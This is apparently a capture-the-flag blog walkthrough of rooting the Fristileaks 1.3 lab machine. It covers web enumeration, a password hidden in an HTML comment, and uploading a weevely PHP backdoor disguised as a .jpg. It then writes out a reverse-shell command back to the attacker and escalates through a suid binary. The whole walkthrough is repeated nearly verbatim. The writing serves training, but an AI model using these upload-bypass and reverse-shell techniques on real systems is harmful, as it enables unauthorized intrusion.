Rooting Fristileaks 1.3
Fristileaks is billed as "meant to be broken in a few hours without requiring debuggers, reverse engineering, etc." Without further ado, let's get to it.
We'll first discover the target host IP, then run some nmap scans on it:
After running a version detect scan, as well as a scan of all ports, it's very clear where to go next. Our attack surface is a single open port, on which is running Apache v. 2.2.15, on a CentOS machine, running PHP 5.3.3. We'll take note of the version information, and enumerate the website. Going to 192.168.56.102 in my browser leads me to this page:
Looking at the HTML source code for the page, I don't see anything that would be of any obvious use. Time to use some automated tools to enumerate the webserver. Let's use dirbuster to search for interesting files and directories. First I'll use the common.txt wordlist from seclists with dirb:
Next I ran Nikto on the target to probe a bit further:
After poking around based on these findings, and running dirbuster with a few more stock wordlists, finding nothing I could use to gain access, and running into this guy more than a few times,
I knew whatever url I was looking for must not be common, so I created a custom wordlist based on words that appear on the site. Cewl is a great tool that scrapes a site and creates a list of all the words that appear there. The first time I tried with my cewl generated wordlist, nothing. Damn! But one thing I hadn't considered was that there were images containing text on the site, so I edited my custom wordlist to add the words contained therein:
Hey, this looks better. Let's check it out:
This is more like it. Let's have a look at the HTML source code. The first thing I notice is this:
"We need to clean this up for production. I left some junk in here to make testing easier." Hmm. Scrolling down, there are two Base64 encoded strings. I used https://www.base64decode.org/ to decode them. The first turned out to be the Nelson picture on the login page, while the second one, nestled in a comment further down the page, was decoded into a much more interesting image:
A password, perhaps? Since eezeepz left this "junk" in here, let's try to log in with eezeeps:keKkeKKeKKeKkEkkEk on the admin login page:
We're in! And there's a file upload link? I'm thinking this is going to be just too easy. Browsing to the page, I see that it's intended for uploading images.
Let's see if we can upload a shell instead. I'll use a tool called weevely to generate a php-based backdoor that we can access on the target webserver remotely to run both shell commands and custom functions integrated into the tool. First we generate the shell by issuing the command "weevely generate <password> <path>"
Now we'll try to upload it. It fails, and produces an error telling me my file is not of an allowed type:
It won't let us upload a file with a .php extension. A neat trick which sometimes works, depending upon how the application is coded, is to simply add a .jpg or .png extension after our shell's .php extension. We'll rename it weevelysh.jpg, and try again:
Now we can try to connect to our uploaded backdoor:
I did some preliminary stuff like attempting to view the sudoers file, but lacked permissions. Let's poke around on the filesystem a bit and see what we can find. We'll use the commands :system_info, :audit_filesystem, and look at the other files in the web root:
From this we get some information about the system, including that the eezeepz home directory is executable. We can also see an interesting file called "notes.txt" that references eezeepz' home directory containing "important stuff." So, to eezeepz' house we go! Turns out this is the only user's home directory we currently have access to. In eezeepz home dir, we find another interesting "notes.txt" file, written by someone named Jerry, who appears to be the admin:
Interesting, so we can run any of the listed commands with elevated privileges. We can play around with this a bit. Tried to view the sudoers file to no effect. Let's try to chmod the other users' home directories. Succeeded in changing the /home/admin directory to rwx. Let's check it out:
"cryptedpass.txt" and "cryptpass.py" look interesting, as does "whoisyourgodnow.txt":
Should easily be able to reverse this weak sauce "encryption." I wrote a quick python script to do the trick:
Then ran it against the encrypted password:
Attempted to su to admin, but I received an error message stating that I must have a tty to execute the su command. Weevely does not operate as a tty or pty. No matter. We can use the weevely command :backdoor_reversetcp to throw me a reverse shell to a netcat listener, and generate a pty using python. I run the weevely command ":backdoor_reversetcp -vector python_pty 192.168.56.1 80" and catch the shell on my listener, then su to the other users:
Now that I'm admin, let me check my privileges (Always have to check your privilege, man!) with sudo -l. Turns out that admin cannot run sudo. Some admin this is. So, I su to fristigod and see what privs this user has:
Secret admin stuff sounds cool. I head over to /var/fristigod, then check out the secret admin stuff, to find a suid binary, but can't execute it as user fristigod:
Maybe fristigod's bash command history will shed some light on what the problem is:
So, naturally, I try to run the binary as user fristi. The first time, it doesn't work. I had accidentally omitted the path to the file. The second time, I get usage info telling me to run a command after, so I go for gold with "su root":
Root!! And there you have it.
We'll first discover the target host IP, then run some nmap scans on it:
After running a version detect scan, as well as a scan of all ports, it's very clear where to go next. Our attack surface is a single open port, on which is running Apache v. 2.2.15, on a CentOS machine, running PHP 5.3.3. We'll take note of the version information, and enumerate the website. Going to 192.168.56.102 in my browser leads me to this page:
Looking at the HTML source code for the page, I don't see anything that would be of any obvious use. Time to use some automated tools to enumerate the webserver. Let's use dirbuster to search for interesting files and directories. First I'll use the common.txt wordlist from seclists with dirb:
Next I ran Nikto on the target to probe a bit further:
After poking around based on these findings, and running dirbuster with a few more stock wordlists, finding nothing I could use to gain access, and running into this guy more than a few times,
I knew whatever url I was looking for must not be common, so I created a custom wordlist based on words that appear on the site. Cewl is a great tool that scrapes a site and creates a list of all the words that appear there. The first time I tried with my cewl generated wordlist, nothing. Damn! But one thing I hadn't considered was that there were images containing text on the site, so I edited my custom wordlist to add the words contained therein:
Hey, this looks better. Let's check it out:
This is more like it. Let's have a look at the HTML source code. The first thing I notice is this:
"We need to clean this up for production. I left some junk in here to make testing easier." Hmm. Scrolling down, there are two Base64 encoded strings. I used https://www.base64decode.org/ to decode them. The first turned out to be the Nelson picture on the login page, while the second one, nestled in a comment further down the page, was decoded into a much more interesting image:
A password, perhaps? Since eezeepz left this "junk" in here, let's try to log in with eezeeps:keKkeKKeKKeKkEkkEk on the admin login page:
We're in! And there's a file upload link? I'm thinking this is going to be just too easy. Browsing to the page, I see that it's intended for uploading images.
Let's see if we can upload a shell instead. I'll use a tool called weevely to generate a php-based backdoor that we can access on the target webserver remotely to run both shell commands and custom functions integrated into the tool. First we generate the shell by issuing the command "weevely generate <password> <path>"
Now we'll try to upload it. It fails, and produces an error telling me my file is not of an allowed type:
It won't let us upload a file with a .php extension. A neat trick which sometimes works, depending upon how the application is coded, is to simply add a .jpg or .png extension after our shell's .php extension. We'll rename it weevelysh.jpg, and try again:
At this point we can run most shell commands, as well as some of the custom commands available in the weevely shell. To see what's available, we just type "help" at our prompt:
From this we get some information about the system, including that the eezeepz home directory is executable. We can also see an interesting file called "notes.txt" that references eezeepz' home directory containing "important stuff." So, to eezeepz' house we go! Turns out this is the only user's home directory we currently have access to. In eezeepz home dir, we find another interesting "notes.txt" file, written by someone named Jerry, who appears to be the admin:
Interesting, so we can run any of the listed commands with elevated privileges. We can play around with this a bit. Tried to view the sudoers file to no effect. Let's try to chmod the other users' home directories. Succeeded in changing the /home/admin directory to rwx. Let's check it out:
"cryptedpass.txt" and "cryptpass.py" look interesting, as does "whoisyourgodnow.txt":
Should easily be able to reverse this weak sauce "encryption." I wrote a quick python script to do the trick:
Then ran it against the encrypted password:
Attempted to su to admin, but I received an error message stating that I must have a tty to execute the su command. Weevely does not operate as a tty or pty. No matter. We can use the weevely command :backdoor_reversetcp to throw me a reverse shell to a netcat listener, and generate a pty using python. I run the weevely command ":backdoor_reversetcp -vector python_pty 192.168.56.1 80" and catch the shell on my listener, then su to the other users:
Now that I'm admin, let me check my privileges (Always have to check your privilege, man!) with sudo -l. Turns out that admin cannot run sudo. Some admin this is. So, I su to fristigod and see what privs this user has:
Secret admin stuff sounds cool. I head over to /var/fristigod, then check out the secret admin stuff, to find a suid binary, but can't execute it as user fristigod:
Maybe fristigod's bash command history will shed some light on what the problem is:
So, naturally, I try to run the binary as user fristi. The first time, it doesn't work. I had accidentally omitted the path to the file. The second time, I get usage info telling me to run a command after, so I go for gold with "su root":
Root!! And there you have it.
Comments
Post a Comment